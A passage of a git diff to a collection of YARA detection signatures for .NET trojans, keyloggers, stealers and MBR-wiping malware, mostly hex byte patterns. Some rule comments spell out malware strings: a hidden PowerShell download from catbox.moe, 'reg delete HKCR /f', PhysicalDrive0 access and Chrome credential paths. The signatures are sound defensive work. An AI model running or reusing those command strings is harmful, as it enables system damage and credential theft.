newline at end of file diff --git a/Trojan/BAT/Kapooshka/Trojan_BAT_Kapooshka_A_dha.yar b/Trojan/BAT/Kapooshka/Trojan_BAT_Kapooshka_A_dha.yar new file mode 100644 index 0000000000..96b7fd74bf --- /dev/null +++ b/Trojan/BAT/Kapooshka/Trojan_BAT_Kapooshka_A_dha.yar @@ -0,0 +1,23 @@ + +rule Trojan_BAT_Kapooshka_A_dha{ + meta: + description = "Trojan:BAT/Kapooshka.A!dha,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 0d 00 00 " + + strings : + $a_03_0 = {43 6f 6d 6d 61 6e 64 44 65 73 63 72 69 70 74 6f 72 00 63 6f 6d 6d 61 6e 64 ?? 65 73 63 72 69 70 74 6f 72 00 45 78 65 63 75 74 6f 72 00 65 78 65 ?? 75 74 6f 72 00 } //1 + $a_03_1 = {43 6f 6d 6d 61 6e 64 46 61 63 74 6f 72 79 00 63 6f 6d 6d 61 6e 64 ?? 61 63 74 6f 72 79 00 42 72 6f 77 73 65 72 54 65 6c 65 6d 65 74 72 79 00 47 65 74 46 72 6f 6d 52 ?? 67 69 73 74 72 79 00 } //1 + $a_03_2 = {73 65 74 5f 43 72 65 61 74 65 4e 6f ?? 69 6e 64 6f 77 00 47 65 74 43 6f 6d 6d 61 6e 64 42 79 00 64 65 6c 61 79 00 41 72 72 61 79 00 } //1 + $a_03_3 = {49 43 6f 6d 6d 61 6e 64 00 67 65 74 5f 43 6f 6d ?? 61 6e 64 00 73 65 74 5f 43 6f 6d 6d 61 6e 64 00 44 6f 77 6e 6c 6f 61 64 43 6f 6d 6d 61 6e 64 00 55 70 6c 6f 61 64 ?? 6f 6d 6d 61 6e 64 00 } //1 + $a_03_4 = {41 64 64 43 6f 6d 6d 61 6e 64 00 45 78 65 43 6f ?? 6d 61 6e 64 00 4b 69 6c 6c 43 6f 6d 6d 61 6e 64 00 43 6c 65 61 72 43 6f ?? 6d 61 6e 64 00 54 69 6d 65 6f 75 74 43 6f 6d 6d 61 6e 64 00 } //1 + $a_03_5 = {73 65 74 5f 52 65 73 75 6c 74 00 43 6f 6d 6d 61 6e 64 52 65 73 ?? 6c 74 00 43 68 65 63 6b 56 61 6c 69 64 61 74 69 6f 6e 52 65 73 75 6c 74 00 73 65 74 5f 55 73 ?? 72 41 67 65 6e 74 00 } //1 + $a_03_6 = {41 62 6f 72 74 00 49 73 43 6f 6d 6d 61 6e ?? 49 73 46 61 73 74 00 48 74 74 70 57 65 62 52 65 71 75 65 73 74 00 53 65 6e 64 47 65 ?? 52 65 71 75 65 73 74 00 } //1 + $a_03_7 = {50 61 72 73 65 43 6f 6d 6d 61 6e 64 73 00 45 78 65 63 75 74 65 ?? 6f 6e 67 43 6f 6d 6d 61 6e 64 73 00 6c 6f 6e 67 43 6f 6d 6d 61 6e 64 73 00 67 65 74 ?? 54 6f 74 61 6c 53 65 63 6f 6e 64 73 00 } //1 + $a_03_8 = {47 65 74 50 48 50 53 65 73 73 49 64 00 53 74 61 72 74 53 ?? 70 61 72 61 74 65 54 68 72 65 61 64 00 6c 6f 6e 67 43 6f 6d 6d 61 6e 64 73 54 68 72 65 61 64 00 70 61 79 ?? 6f 61 64 00 } //1 + $a_03_9 = {47 65 74 45 6e 75 6d 65 72 61 74 6f 72 00 2e 63 74 6f 72 00 53 65 72 76 65 72 49 6e 66 ?? 45 78 74 72 61 63 74 6f 72 00 2e 63 63 74 6f 72 00 4d 6f 6e 69 74 6f 72 00 43 6f 6d 6d 61 6e 64 44 65 73 ?? 72 69 70 74 6f 72 00 } //1 + $a_03_10 = {6c 6f 6e 67 43 6f 6d 6d 61 6e 64 73 ?? 68 72 65 61 64 00 70 61 79 6c 6f 61 64 00 41 64 64 00 53 65 74 50 72 6f 78 79 49 66 4e 65 65 64 65 64 00 } //1 + $a_03_11 = {67 65 74 5f 50 72 6f 78 79 00 73 65 74 5f 50 72 6f 78 79 00 49 57 65 62 50 ?? 6f 78 79 00 70 72 6f 78 79 00 43 6d 53 65 72 76 69 63 65 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f ?? 72 63 65 73 00 } //1 + $a_03_12 = {73 65 74 5f 55 73 65 44 65 66 61 75 6c 74 43 72 ?? 64 65 6e 74 69 61 6c 73 00 70 68 70 73 65 73 73 69 64 53 79 6d 62 6f 6c 73 00 42 72 6f 77 73 65 72 54 65 6c 65 6d 65 74 72 79 2e 43 6f 6e 6e 65 63 ?? 69 6f 6e 73 00 67 65 74 5f 43 68 61 72 73 00 } //1 + condition: + ((#a_03_0 & 1)*1+(#a_03_1 & 1)*1+(#a_03_2 & 1)*1+(#a_03_3 & 1)*1+(#a_03_4 & 1)*1+(#a_03_5 & 1)*1+(#a_03_6 & 1)*1+(#a_03_7 & 1)*1+(#a_03_8 & 1)*1+(#a_03_9 & 1)*1+(#a_03_10 & 1)*1+(#a_03_11 & 1)*1+(#a_03_12 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/KatzStealer/Trojan_BAT_KatzStealer_DA_MTB.yar b/Trojan/BAT/KatzStealer/Trojan_BAT_KatzStealer_DA_MTB.yar new file mode 100644 index 0000000000..f8055fa18e --- /dev/null +++ b/Trojan/BAT/KatzStealer/Trojan_BAT_KatzStealer_DA_MTB.yar @@ -0,0 +1,16 @@ + +rule Trojan_BAT_KatzStealer_DA_MTB{ + meta: + description = "Trojan:BAT/KatzStealer.DA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 00 " + + strings : + $a_81_0 = {45 78 65 63 75 74 61 72 4d 65 74 6f 64 6f 56 41 49 } //1 ExecutarMetodoVAI + $a_81_1 = {56 69 72 74 75 61 6c 4d 61 63 68 69 6e 65 44 65 74 65 63 74 6f 72 } //1 VirtualMachineDetector + $a_81_2 = {57 6f 77 36 34 53 65 74 54 68 72 65 61 64 43 6f 6e 74 65 78 74 5f 41 50 49 } //1 Wow64SetThreadContext_API + $a_81_3 = {6e 6f 6d 65 64 6f 61 72 71 75 69 76 6f } //1 nomedoarquivo + $a_81_4 = {70 61 79 6c 6f 61 64 42 75 66 66 65 72 } //1 payloadBuffer + $a_81_5 = {63 61 6d 69 6e 68 6f 76 62 73 } //1 caminhovbs + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Trojan/BAT/Keylogger/Trojan_BAT_KeyLogger_NK_MTB.yar b/Trojan/BAT/Keylogger/Trojan_BAT_KeyLogger_NK_MTB.yar new file mode 100644 index 0000000000..9ab33e905c --- /dev/null +++ b/Trojan/BAT/Keylogger/Trojan_BAT_KeyLogger_NK_MTB.yar @@ -0,0 +1,16 @@ + +rule Trojan_BAT_KeyLogger_NK_MTB{ + meta: + description = "Trojan:BAT/KeyLogger.NK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 06 00 00 " + + strings : + $a_01_0 = {61 00 72 00 67 00 75 00 6d 00 65 00 6e 00 74 00 75 00 6d 00 2e 00 69 00 6e 00 66 00 6f 00 2f 00 77 00 70 00 2d 00 69 00 6e 00 63 00 6c 00 75 00 64 00 65 00 73 00 2f 00 6a 00 73 00 2f 00 6a 00 71 00 75 00 65 00 72 00 79 00 2f 00 6a 00 71 00 75 00 65 00 72 00 79 00 2d 00 6d 00 69 00 67 00 72 00 61 00 74 00 65 00 2e 00 6d 00 69 00 6e 00 2e 00 6a 00 73 00 } //2 argumentum.info/wp-includes/js/jquery/jquery-migrate.min.js + $a_01_1 = {50 00 4f 00 53 00 54 00 2e 00 70 00 68 00 70 00 3f 00 70 00 61 00 73 00 73 00 77 00 6f 00 72 00 64 00 65 00 6e 00 74 00 65 00 72 00 } //1 POST.php?passwordenter + $a_01_2 = {4c 00 6f 00 63 00 61 00 6c 00 5c 00 47 00 6f 00 6f 00 67 00 6c 00 65 00 5c 00 43 00 68 00 72 00 6f 00 6d 00 65 00 5c 00 55 00 73 00 65 00 72 00 20 00 44 00 61 00 74 00 61 00 5c 00 44 00 65 00 66 00 61 00 75 00 6c 00 74 00 5c 00 4c 00 6f 00 67 00 69 00 6e 00 20 00 44 00 61 00 74 00 61 00 } //1 Local\Google\Chrome\User Data\Default\Login Data + $a_01_3 = {57 69 6e 64 6f 77 73 41 70 70 6c 69 63 61 74 69 6f 6e 37 31 30 2e 52 65 73 6f 75 72 63 65 73 } //1 WindowsApplication710.Resources + $a_01_4 = {67 65 74 5f 52 6f 6f 74 44 69 72 65 63 74 6f 72 79 } //1 get_RootDirectory + $a_01_5 = {24 38 33 65 31 37 32 35 32 2d 31 61 32 37 2d 34 36 63 36 2d 38 62 61 31 2d 36 35 63 32 63 39 31 62 39 30 64 30 } //1 $83e17252-1a27-46c6-8ba1-65c2c91b90d0 + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Trojan/BAT/Keylogger/Trojan_BAT_Keylogger_NN_MTB.yar b/Trojan/BAT/Keylogger/Trojan_BAT_Keylogger_NN_MTB.yar deleted file mode 100644 index 7302919992..0000000000 --- a/Trojan/BAT/Keylogger/Trojan_BAT_Keylogger_NN_MTB.yar +++ /dev/null @@ -1,11 +0,0 @@ - -rule Trojan_BAT_Keylogger_NN_MTB{ - meta: - description = "Trojan:BAT/Keylogger.NN!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " - - strings : - $a_03_0 = {02 4b 03 04 61 05 61 58 0e 07 0e 04 e0 95 58 7e 19 ?? ?? ?? 0e 06 17 59 e0 95 58 0e 05 28 ac ?? ?? ?? 58 54 2a } //5 - condition: - ((#a_03_0 & 1)*5) >=5 - -} \ No newline at end of file diff --git a/Trojan/BAT/Keylogger/Trojan_BAT_Keylogger_PGK_MTB.yar b/Trojan/BAT/Keylogger/Trojan_BAT_Keylogger_PGK_MTB.yar new file mode 100644 index 0000000000..835bfb7325 --- /dev/null +++ b/Trojan/BAT/Keylogger/Trojan_BAT_Keylogger_PGK_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_Keylogger_PGK_MTB{ + meta: + description = "Trojan:BAT/Keylogger.PGK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_03_0 = {0a 06 17 6f ?? 00 00 0a 0d 09 14 fe 01 13 04 11 04 2c 0e 00 7e ?? 00 00 0a 06 6f ?? 00 00 0a 0d 00 09 07 08 6f } //2 + $a_01_1 = {6d 00 6f 00 6e 00 69 00 74 00 6f 00 72 00 69 00 6e 00 67 } //3 + condition: + ((#a_03_0 & 1)*2+(#a_01_1 & 1)*3) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Keylogger/Trojan_BAT_Keylogger_PSVW_MTB.yar b/Trojan/BAT/Keylogger/Trojan_BAT_Keylogger_PSVW_MTB.yar deleted file mode 100644 index f02300d7b2..0000000000 --- a/Trojan/BAT/Keylogger/Trojan_BAT_Keylogger_PSVW_MTB.yar +++ /dev/null @@ -1,11 +0,0 @@ - -rule Trojan_BAT_Keylogger_PSVW_MTB{ - meta: - description = "Trojan:BAT/Keylogger.PSVW!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " - - strings : - $a_03_0 = {07 16 73 0e 00 00 0a 0c 73 0f 00 00 0a 0d 08 09 28 ?? 00 00 06 09 16 6a 6f ?? 00 00 0a 09 13 04 de 1c } //2 - condition: - ((#a_03_0 & 1)*2) >=2 - -} \ No newline at end of file diff --git a/Trojan/BAT/Keylogger/Trojan_BAT_Keylogger_SWR_MTB.yar b/Trojan/BAT/Keylogger/Trojan_BAT_Keylogger_SWR_MTB.yar new file mode 100644 index 0000000000..22dd21562c --- /dev/null +++ b/Trojan/BAT/Keylogger/Trojan_BAT_Keylogger_SWR_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Keylogger_SWR_MTB{ + meta: + description = "Trojan:BAT/Keylogger.SWR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {02 72 ff 02 00 70 08 72 07 03 00 70 28 5f 00 00 0a 11 05 6f 60 00 00 0a 28 7c 00 00 0a 28 7d 00 00 0a 02 7b 0c 00 00 04 72 15 03 00 70 28 73 00 00 0a 73 6a 00 00 0a 6f 25 00 00 06 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/KillMBR/Trojan_BAT_KillMBR_ARAX_MTB.yar b/Trojan/BAT/KillMBR/Trojan_BAT_KillMBR_ARAX_MTB.yar index 5fd8b29649..b147dfe0e8 100644 --- a/Trojan/BAT/KillMBR/Trojan_BAT_KillMBR_ARAX_MTB.yar +++ b/Trojan/BAT/KillMBR/Trojan_BAT_KillMBR_ARAX_MTB.yar @@ -33,4 +33,18 @@ rule Trojan_BAT_KillMBR_ARAX_MTB_3{ condition: ((#a_00_0 & 1)*2+(#a_00_1 & 1)*2+(#a_00_2 & 1)*2+(#a_01_3 & 1)*2) >=8 +} +rule Trojan_BAT_KillMBR_ARAX_MTB_4{ + meta: + description = "Trojan:BAT/KillMBR.ARAX!MTB,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 05 00 00 " + + strings : + $a_01_0 = {5c 42 6f 6f 73 74 65 72 2e 70 64 62 } //2 \Booster.pdb + $a_00_1 = {47 00 6f 00 6f 00 67 00 6c 00 65 00 5c 00 43 00 68 00 72 00 6f 00 6d 00 65 00 5c 00 55 00 73 00 65 00 72 00 20 00 44 00 61 00 74 00 61 00 5c 00 44 00 65 00 66 00 61 00 75 00 6c 00 74 00 5c 00 48 00 69 00 73 00 74 00 6f 00 72 00 79 00 } //2 Google\Chrome\User Data\Default\History + $a_00_2 = {5c 00 5c 00 2e 00 5c 00 50 00 68 00 79 00 73 00 69 00 63 00 61 00 6c 00 44 00 72 00 69 00 76 00 65 00 30 00 } //2 \\.\PhysicalDrive0 + $a_01_3 = {47 65 74 57 69 46 69 50 61 73 73 77 6f 72 64 73 } //1 GetWiFiPasswords + $a_01_4 = {47 65 74 4d 42 52 44 61 74 61 } //1 GetMBRData + condition: + ((#a_01_0 & 1)*2+(#a_00_1 & 1)*2+(#a_00_2 & 1)*2+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=8 + } \ No newline at end of file diff --git a/Trojan/BAT/KillMBR/Trojan_BAT_KillMBR_BR_MTB.yar b/Trojan/BAT/KillMBR/Trojan_BAT_KillMBR_BR_MTB.yar new file mode 100644 index 0000000000..af1ffa4885 --- /dev/null +++ b/Trojan/BAT/KillMBR/Trojan_BAT_KillMBR_BR_MTB.yar @@ -0,0 +1,16 @@ + +rule Trojan_BAT_KillMBR_BR_MTB{ + meta: + description = "Trojan:BAT/KillMBR.BR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 00 " + + strings : + $a_01_0 = {41 00 6c 00 6c 00 20 00 79 00 6f 00 75 00 72 00 20 00 65 00 78 00 65 00 20 00 66 00 69 00 6c 00 65 00 73 00 20 00 68 00 61 00 76 00 65 00 20 00 62 00 65 00 65 00 6e 00 20 00 6c 00 6f 00 63 00 6b 00 65 00 64 00 20 00 62 00 79 00 20 00 3f 00 3f 00 3f 00 3f 00 3f 00 20 00 28 00 3a 00 } //2 All your exe files have been locked by ????? (: + $a_01_1 = {2d 00 4e 00 6f 00 50 00 20 00 2d 00 45 00 50 00 20 00 42 00 79 00 70 00 61 00 73 00 73 00 20 00 2d 00 57 00 20 00 48 00 69 00 64 00 64 00 65 00 6e 00 20 00 2d 00 43 00 20 00 22 00 69 00 77 00 72 00 20 00 27 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 66 00 69 00 6c 00 65 00 73 00 2e 00 63 00 61 00 74 00 62 00 6f 00 78 00 2e 00 6d 00 6f 00 65 00 2f 00 61 00 62 00 34 00 69 00 63 00 6e 00 2e 00 72 00 61 00 72 00 27 00 20 00 2d 00 4f 00 75 00 74 00 46 00 69 00 6c 00 65 00 20 00 24 00 65 00 6e 00 76 00 3a 00 54 00 45 00 4d 00 50 00 5c 00 66 00 69 00 6c 00 65 00 2e 00 63 00 6f 00 6d 00 } //2 -NoP -EP Bypass -W Hidden -C "iwr 'https://files.catbox.moe/ab4icn.rar' -OutFile $env:TEMP\file.com + $a_01_2 = {65 00 78 00 65 00 66 00 69 00 6c 00 65 00 5c 00 73 00 68 00 65 00 6c 00 6c 00 5c 00 72 00 75 00 6e 00 61 00 73 00 75 00 73 00 65 00 72 00 5c 00 63 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 } //1 exefile\shell\runasuser\command + $a_01_3 = {4d 61 73 6f 6e 56 69 72 75 73 } //1 MasonVirus + $a_01_4 = {63 00 6d 00 64 00 20 00 2f 00 6b 00 20 00 65 00 63 00 68 00 6f 00 20 00 7b 00 30 00 7d 00 20 00 26 00 26 00 20 00 70 00 61 00 75 00 73 00 65 00 } //1 cmd /k echo {0} && pause + $a_01_5 = {2f 00 6b 00 20 00 72 00 65 00 67 00 20 00 64 00 65 00 6c 00 65 00 74 00 65 00 20 00 48 00 4b 00 43 00 52 00 20 00 2f 00 66 00 } //1 /k reg delete HKCR /f + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Trojan/BAT/KillMBR/Trojan_BAT_KillMBR_EAB_MTB.yar b/Trojan/BAT/KillMBR/Trojan_BAT_KillMBR_EAB_MTB.yar new file mode 100644 index 0000000000..3867c5cde3 --- /dev/null +++ b/Trojan/BAT/KillMBR/Trojan_BAT_KillMBR_EAB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_KillMBR_EAB_MTB{ + meta: + description = "Trojan:BAT/KillMBR.EAB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_01_0 = {00 09 11 05 11 05 1f 0a 11 05 1f 17 62 11 05 1c 63 60 11 05 20 80 00 00 00 61 60 11 05 1b 62 11 05 1d 63 60 5f 5a 5a d2 9c 00 11 05 17 58 13 05 11 05 09 8e 69 fe 04 13 06 11 06 2d c3 } //5 + condition: + ((#a_01_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/KillMBR/Trojan_BAT_KillMBR_EAZE_MTB.yar b/Trojan/BAT/KillMBR/Trojan_BAT_KillMBR_EAZE_MTB.yar new file mode 100644 index 0000000000..577f57acb6 --- /dev/null +++ b/Trojan/BAT/KillMBR/Trojan_BAT_KillMBR_EAZE_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_KillMBR_EAZE_MTB{ + meta: + description = "Trojan:BAT/KillMBR.EAZE!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_01_0 = {06 07 02 07 6f 0a 00 00 0a 20 ff 00 00 00 5f d2 9c 07 17 58 0b 07 20 aa ae 01 00 32 e3 } //5 + condition: + ((#a_01_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/KillMBR/Trojan_BAT_KillMBR_EHB_MTB.yar b/Trojan/BAT/KillMBR/Trojan_BAT_KillMBR_EHB_MTB.yar new file mode 100644 index 0000000000..ab348b5a9f --- /dev/null +++ b/Trojan/BAT/KillMBR/Trojan_BAT_KillMBR_EHB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_KillMBR_EHB_MTB{ + meta: + description = "Trojan:BAT/KillMBR.EHB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_01_0 = {00 06 07 02 07 6f 2a 00 00 0a 20 ff 00 00 00 5f d2 9c 00 07 17 58 0b 07 20 00 5e 01 00 fe 04 0c 08 2d dd } //5 + condition: + ((#a_01_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/KillMBR/Trojan_BAT_KillMBR_EHM_MTB.yar b/Trojan/BAT/KillMBR/Trojan_BAT_KillMBR_EHM_MTB.yar new file mode 100644 index 0000000000..c47f24827d --- /dev/null +++ b/Trojan/BAT/KillMBR/Trojan_BAT_KillMBR_EHM_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_KillMBR_EHM_MTB{ + meta: + description = "Trojan:BAT/KillMBR.EHM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {11 20 f8 2f 14 00 8d 15 00 00 01 0a 16 0b 2b 15 06 07 02 07 6f 19 00 00 0a 20 00 01 00 00 5d d2 9c 07 17 58 0b 07 20 f8 2f 14 00 32 e3 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/KillMBR/Trojan_BAT_KillMBR_EUA_MTB.yar b/Trojan/BAT/KillMBR/Trojan_BAT_KillMBR_EUA_MTB.yar new file mode 100644 index 0000000000..5b5fbaf6c2 --- /dev/null +++ b/Trojan/BAT/KillMBR/Trojan_BAT_KillMBR_EUA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_KillMBR_EUA_MTB{ + meta: + description = "Trojan:BAT/KillMBR.EUA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_02_0 = {58 08 09 07 16 1f ec 11 05 58 20 84 75 98 00 ?? ?? ?? ?? ?? 26 07 16 1f ec 11 05 58 08 09 07 16 1f 14 11 04 58 20 84 75 98 00 ?? ?? ?? ?? ?? 26 } //2 + condition: + ((#a_02_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/KillMBR/Trojan_BAT_KillMBR_EXO_MTB.yar b/Trojan/BAT/KillMBR/Trojan_BAT_KillMBR_EXO_MTB.yar new file mode 100644 index 0000000000..2c8280a298 --- /dev/null +++ b/Trojan/BAT/KillMBR/Trojan_BAT_KillMBR_EXO_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_KillMBR_EXO_MTB{ + meta: + description = "Trojan:BAT/KillMBR.EXO!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_02_0 = {00 06 07 02 07 ?? ?? ?? ?? ?? 20 ff 00 00 00 5f d2 9c 00 07 17 58 0b 07 20 6a 77 78 00 fe 04 0c 08 2d dd } //2 + condition: + ((#a_02_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/Kryplod/Trojan_BAT_Kryplod_SS_MTB.yar b/Trojan/BAT/Kryplod/Trojan_BAT_Kryplod_SS_MTB.yar new file mode 100644 index 0000000000..d030b0d8eb --- /dev/null +++ b/Trojan/BAT/Kryplod/Trojan_BAT_Kryplod_SS_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Kryplod_SS_MTB{ + meta: + description = "Trojan:BAT/Kryplod.SS!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {1d 2c 04 2b 07 2b 0c 1c 2c f6 de 0d 28 10 00 00 06 2b f2 0a 2b f1 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/Krypt/Trojan_BAT_Krypt_PGK_MTB.yar b/Trojan/BAT/Krypt/Trojan_BAT_Krypt_PGK_MTB.yar new file mode 100644 index 0000000000..a02af4ea7b --- /dev/null +++ b/Trojan/BAT/Krypt/Trojan_BAT_Krypt_PGK_MTB.yar @@ -0,0 +1,53 @@ + +rule Trojan_BAT_Krypt_PGK_MTB{ + meta: + description = "Trojan:BAT/Krypt.PGK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_01_0 = {25 4a 09 61 54 09 17 62 09 1d 63 60 0d 00 11 09 17 58 13 09 11 09 06 8e 69 fe 04 13 0a 11 0a 2d d6 } //5 + condition: + ((#a_01_0 & 1)*5) >=5 + +} +rule Trojan_BAT_Krypt_PGK_MTB_2{ + meta: + description = "Trojan:BAT/Krypt.PGK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_01_0 = {11 05 11 08 07 06 11 08 58 93 11 06 11 08 08 58 11 07 5d 93 61 d1 9d 17 11 08 58 13 08 11 08 11 04 fe 04 2d db } //5 + condition: + ((#a_01_0 & 1)*5) >=5 + +} +rule Trojan_BAT_Krypt_PGK_MTB_3{ + meta: + description = "Trojan:BAT/Krypt.PGK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_80_0 = {54 6b 56 52 4d 56 46 55 61 33 64 4e 52 45 46 33 54 58 70 42 64 30 31 45 51 58 64 4e 52 45 45 77 54 55 52 42 64 30 31 45 51 58 64 53 61 31 70 48 } //TkVRMVFUa3dNREF3TXpBd01EQXdNREEwTURBd01EQXdSa1pH 5 + condition: + ((#a_80_0 & 1)*5) >=5 + +} +rule Trojan_BAT_Krypt_PGK_MTB_4{ + meta: + description = "Trojan:BAT/Krypt.PGK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_80_0 = {56 46 68 77 54 6d 56 72 4e 55 56 55 56 45 4a 4f 5a 57 78 47 4e 6c 52 59 63 45 35 4e 56 54 45 32 56 56 68 77 54 6c 5a 46 4d 54 5a 55 57 48 42 79 } //VFhwTmVrNUVUVEJOZWxGNlRYcE5NVTE2VVhwTlZFMTZUWHBy 5 + condition: + ((#a_80_0 & 1)*5) >=5 + +} +rule Trojan_BAT_Krypt_PGK_MTB_5{ + meta: + description = "Trojan:BAT/Krypt.PGK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 00 " + + strings : + $a_01_0 = {24 63 6f 6d 6d 61 6e 64 20 3d 20 5b 53 79 73 74 65 6d 2e 54 65 78 74 2e 45 6e 63 6f 64 69 6e 67 5d 3a 3a 55 54 46 38 2e 47 65 74 53 74 72 69 6e 67 28 5b 53 79 73 74 65 6d 2e 43 6f 6e 76 65 72 74 5d 3a 3a 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 } //3 $command = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String + $a_01_1 = {62 6d 4e 30 61 57 39 75 49 46 52 6c 63 33 51 74 56 6b 31 33 59 58 4a 6c 49 48 73 4b 49 43 41 67 49 43 52 32 62 58 64 68 63 6d 56 54 5a 58 4a 32 61 57 4e 6c 63 79 41 39 49 45 41 6f 49 6e 5a 74 5a 47 56 69 64 57 63 69 4c 43 41 69 64 6d 31 74 62 33 56 7a 5a 53 49 73 49 43 4a 57 54 56 52 76 62 } //1 bmN0aW9uIFRlc3QtVk13YXJlIHsKICAgICR2bXdhcmVTZXJ2aWNlcyA9IEAoInZtZGVidWciLCAidm1tb3VzZSIsICJWTVRvb + $a_01_2 = {32 78 7a 49 69 77 67 49 6c 5a 4e 54 55 56 4e 51 31 52 4d 49 69 77 67 49 6e 52 77 59 58 56 30 62 32 4e 76 62 6d 35 7a 64 6d 4d 69 4c 43 41 69 64 48 42 32 59 32 64 68 64 47 56 33 59 58 6b 69 4c 43 41 69 64 6d 31 33 59 58 4a 6c 49 69 77 67 49 6e 64 74 59 32 6b 69 4c 43 41 69 64 6d 31 34 4f 44 59 69 4b 51 } //1 2xzIiwgIlZNTUVNQ1RMIiwgInRwYXV0b2Nvbm5zdmMiLCAidHB2Y2dhdGV3YXkiLCAidm13YXJlIiwgIndtY2kiLCAidm14ODYiKQ + condition: + ((#a_01_0 & 1)*3+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Kryptik/Trojan_BAT_Kryptik_PGKM_MTB.yar b/Trojan/BAT/Kryptik/Trojan_BAT_Kryptik_PGKM_MTB.yar new file mode 100644 index 0000000000..da18fcbf50 --- /dev/null +++ b/Trojan/BAT/Kryptik/Trojan_BAT_Kryptik_PGKM_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Kryptik_PGKM_MTB{ + meta: + description = "Trojan:BAT/Kryptik.PGKM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {02 7b 40 00 00 04 2d 67 02 17 7d 40 00 00 04 02 7b 3f 00 00 04 2d 29 02 73 73 01 00 06 7d 3f 00 00 04 02 7b 3f 00 00 04 1f 13 7d c1 01 00 04 02 7b 3f 00 00 04 02 28 ?? 00 00 0a 7d c2 01 00 04 02 7b 3f 00 00 04 28 ?? ?? 00 06 2d 22 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Kryptik/Trojan_BAT_Kryptik_PGKR_MTB.yar b/Trojan/BAT/Kryptik/Trojan_BAT_Kryptik_PGKR_MTB.yar new file mode 100644 index 0000000000..d2e54b4bd3 --- /dev/null +++ b/Trojan/BAT/Kryptik/Trojan_BAT_Kryptik_PGKR_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Kryptik_PGKR_MTB{ + meta: + description = "Trojan:BAT/Kryptik.PGKR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {d0 02 00 00 02 28 ?? 00 